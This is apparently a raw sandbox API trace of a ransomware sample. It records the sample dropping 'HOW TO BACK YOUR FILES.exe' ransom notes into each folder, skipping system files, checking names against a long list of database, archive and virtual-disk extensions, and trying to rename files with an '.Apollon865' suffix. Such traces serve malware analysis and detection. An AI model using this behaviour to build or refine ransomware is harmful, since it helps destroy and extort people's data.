	[0061.888] lstrcmpiW (lpString1="glass.png", lpString2=".sys") returned 1
	[0061.888] lstrlenW (lpString="glass.png") returned 9
	[0061.888] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="glass_lrg.png" | out: lpString1="glass_lrg.png") returned="glass_lrg.png"
	[0061.888] lstrlenW (lpString="glass_lrg.png") returned 13
	[0061.888] lstrlenW (lpString="Apollon865") returned 10
	[0061.888] lstrcmpiW (lpString1="ss_lrg.png", lpString2="Apollon865") returned 1
	[0061.888] lstrlenW (lpString=".dll") returned 4
	[0061.888] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".dll") returned 1
	[0061.889] lstrlenW (lpString=".lnk") returned 4
	[0061.889] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".lnk") returned 1
	[0061.889] lstrlenW (lpString=".ini") returned 4
	[0061.889] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".ini") returned 1
	[0061.889] lstrlenW (lpString=".sys") returned 4
	[0061.889] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".sys") returned 1
	[0061.889] lstrlenW (lpString="glass_lrg.png") returned 13
	[0061.889] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US"
	[0061.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0061.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0061.889] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned 57
	[0061.889] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US"
	[0061.889] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.889] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.894] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf6e290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.895] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.895] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.895] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf6e290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.895] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.895] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.895] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2=".") returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="..") returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="windows") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="bootmgr") returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="temp") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="pagefile.sys") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="boot") returned 1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="ids.txt") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="ntuser.dat") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="perflogs") returned -1
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2="MSBuild") returned -1
	[0061.895] lstrlenW (lpString="cpu.html") returned 8
	[0061.895] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*") returned 59
	[0061.895] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="cpu.html" | out: lpString1="cpu.html") returned="cpu.html"
	[0061.895] lstrlenW (lpString="cpu.html") returned 8
	[0061.895] lstrlenW (lpString="Apollon865") returned 10
	[0061.895] lstrlenW (lpString=".dll") returned 4
	[0061.895] lstrcmpiW (lpString1="cpu.html", lpString2=".dll") returned 1
	[0061.896] lstrlenW (lpString=".lnk") returned 4
	[0061.896] lstrcmpiW (lpString1="cpu.html", lpString2=".lnk") returned 1
	[0061.896] lstrlenW (lpString=".ini") returned 4
	[0061.896] lstrcmpiW (lpString1="cpu.html", lpString2=".ini") returned 1
	[0061.896] lstrlenW (lpString=".sys") returned 4
	[0061.896] lstrcmpiW (lpString1="cpu.html", lpString2=".sys") returned 1
	[0061.896] lstrlenW (lpString="cpu.html") returned 8
	[0061.896] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="css" | out: lpString1="css") returned="css"
	[0061.896] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0061.896] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0061.896] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0061.896] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0061.896] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0061.896] lstrlenW (lpString="gadget.xml") returned 10
	[0061.896] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned 61
	[0061.896] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0061.896] lstrlenW (lpString="gadget.xml") returned 10
	[0061.896] lstrlenW (lpString="Apollon865") returned 10
	[0061.897] lstrlenW (lpString=".dll") returned 4
	[0061.897] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0061.897] lstrlenW (lpString=".lnk") returned 4
	[0061.897] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0061.897] lstrlenW (lpString=".ini") returned 4
	[0061.897] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0061.897] lstrlenW (lpString=".sys") returned 4
	[0061.897] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0061.897] lstrlenW (lpString="gadget.xml") returned 10
	[0061.897] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.Apollon865") returned 79
	[0061.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.899] GetLastError () returned 0x5
	[0061.899] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 97
	[0061.899] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 97
	[0061.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0061.899] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x279e
	[0061.899] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x61, lpOverlapped=0x0) returned 1
	[0061.899] CloseHandle (hObject=0x150) returned 1
	[0061.899] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.899] CloseHandle (hObject=0x0) returned 0
	[0061.899] CloseHandle (hObject=0x0) returned 0
	[0061.899] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf6e290, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.899] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.899] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.900] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.900] lstrlenW (lpString="js") returned 2
	[0061.900] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml") returned 68
	[0061.900] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="js" | out: lpString1="js") returned="js"
	[0061.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0061.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0061.900] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0061.900] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0061.900] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0061.900] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0061.900] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js"
	[0061.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0061.900] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned 60
	[0061.900] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js"
	[0061.900] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.904] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf6e290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.905] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.905] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.905] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.905] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf6e290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.905] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.905] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.905] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.905] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.905] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="Apollon865.txt.exe") returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2=".") returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="..") returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="windows") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="bootmgr") returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="temp") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="pagefile.sys") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="boot") returned 1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="ids.txt") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="ntuser.dat") returned -1
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2="perflogs") returned -1
	[0061.905] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cpu.js" | out: lpString1="cpu.js") returned="cpu.js"
	[0061.905] lstrlenW (lpString="cpu.js") returned 6
	[0061.905] lstrlenW (lpString="Apollon865") returned 10
	[0061.905] lstrlenW (lpString=".dll") returned 4
	[0061.905] lstrcmpiW (lpString1="cpu.js", lpString2=".dll") returned 1
	[0061.906] lstrlenW (lpString=".lnk") returned 4
	[0061.906] lstrcmpiW (lpString1="cpu.js", lpString2=".lnk") returned 1
	[0061.906] lstrlenW (lpString=".ini") returned 4
	[0061.906] lstrcmpiW (lpString1="cpu.js", lpString2=".ini") returned 1
	[0061.906] lstrlenW (lpString=".sys") returned 4
	[0061.906] lstrcmpiW (lpString1="cpu.js", lpString2=".sys") returned 1
	[0061.906] lstrlenW (lpString="cpu.js") returned 6
	[0061.906] lstrlenW (lpString="bak") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0061.906] lstrlenW (lpString="ba_") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0061.906] lstrlenW (lpString="dbb") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0061.906] lstrlenW (lpString="vmdk") returned 4
	[0061.906] lstrcmpiW (lpString1="u.js", lpString2="vmdk") returned -1
	[0061.906] lstrlenW (lpString="rar") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0061.906] lstrlenW (lpString="zip") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0061.906] lstrlenW (lpString="tgz") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0061.906] lstrlenW (lpString="vbox") returned 4
	[0061.906] lstrcmpiW (lpString1="u.js", lpString2="vbox") returned -1
	[0061.906] lstrlenW (lpString="vdi") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0061.906] lstrlenW (lpString="vhd") returned 3
	[0061.906] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0061.906] lstrlenW (lpString="vhdx") returned 4
	[0061.906] lstrcmpiW (lpString1="u.js", lpString2="vhdx") returned -1
	[0061.906] lstrlenW (lpString="avhd") returned 4
	[0061.906] lstrcmpiW (lpString1="u.js", lpString2="avhd") returned 1
	[0061.906] lstrlenW (lpString="db") returned 2
	[0061.906] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0061.906] lstrlenW (lpString="db2") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0061.907] lstrlenW (lpString="db3") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0061.907] lstrlenW (lpString="dbf") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0061.907] lstrlenW (lpString="mdf") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0061.907] lstrlenW (lpString="mdb") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0061.907] lstrlenW (lpString="sql") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0061.907] lstrlenW (lpString="sqlite") returned 6
	[0061.907] lstrlenW (lpString="sqlite3") returned 7
	[0061.907] lstrlenW (lpString="sqlitedb") returned 8
	[0061.907] lstrlenW (lpString="xml") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0061.907] lstrlenW (lpString="$er") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0061.907] lstrlenW (lpString="4dd") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0061.907] lstrlenW (lpString="4dl") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0061.907] lstrlenW (lpString="^^^") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0061.907] lstrlenW (lpString="abs") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0061.907] lstrlenW (lpString="abx") returned 3
	[0061.907] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0061.907] lstrlenW (lpString="accdb") returned 5
	[0061.907] lstrcmpiW (lpString1="pu.js", lpString2="accdb") returned 1
	[0061.907] lstrlenW (lpString="accdc") returned 5
	[0061.907] lstrcmpiW (lpString1="pu.js", lpString2="accdc") returned 1
	[0061.907] lstrlenW (lpString="accde") returned 5
	[0061.907] lstrcmpiW (lpString1="pu.js", lpString2="accde") returned 1
	[0061.907] lstrlenW (lpString="accdr") returned 5
	[0061.908] lstrcmpiW (lpString1="pu.js", lpString2="accdr") returned 1
	[0061.908] lstrlenW (lpString="accdt") returned 5
	[0061.908] lstrcmpiW (lpString1="pu.js", lpString2="accdt") returned 1
	[0061.908] lstrlenW (lpString="accdw") returned 5
	[0061.908] lstrcmpiW (lpString1="pu.js", lpString2="accdw") returned 1
	[0061.908] lstrlenW (lpString="accft") returned 5
	[0061.908] lstrcmpiW (lpString1="pu.js", lpString2="accft") returned 1
	[0061.908] lstrlenW (lpString="adb") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.908] lstrlenW (lpString="adb") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.908] lstrlenW (lpString="ade") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0061.908] lstrlenW (lpString="adf") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0061.908] lstrlenW (lpString="adn") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0061.908] lstrlenW (lpString="adp") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0061.908] lstrlenW (lpString="alf") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0061.908] lstrlenW (lpString="ask") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0061.908] lstrlenW (lpString="btr") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0061.908] lstrlenW (lpString="cat") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0061.908] lstrlenW (lpString="cdb") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0061.908] lstrlenW (lpString="ckp") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0061.908] lstrlenW (lpString="cma") returned 3
	[0061.908] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
